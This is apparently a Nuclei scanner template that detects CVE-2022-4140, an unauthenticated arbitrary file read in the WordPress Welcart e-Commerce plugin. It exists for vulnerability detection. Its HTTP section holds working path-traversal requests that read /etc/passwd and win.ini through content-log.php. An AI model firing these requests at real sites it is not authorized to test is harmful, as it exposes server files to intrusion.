id: CVE-2022-4140 info: name: WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access author: theamanrawat severity: high description: | WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations. remediation: Fixed in version 2.8.5. reference: - https://wpscan.com/vulnerability/0d649a7e-3334-48f7-abca-fff0856e12c7 - https://wordpress.org/plugins/usc-e-shop/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4140 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-4140 cwe-id: CWE-552 epss-score: 0.00516 epss-percentile: 0.73753 cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: collne product: welcart_e-commerce framework: wordpress tags: usc-e-shop,wpscan,cve,cve2022,wp-plugin,wp,wordpress,lfi,unauthenticated http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd" - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini" stop-at-first-match: true matchers-condition: and matchers: - type: word part: header words: - "text/html" - type: regex part: body regex: - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or - type: status status: - 200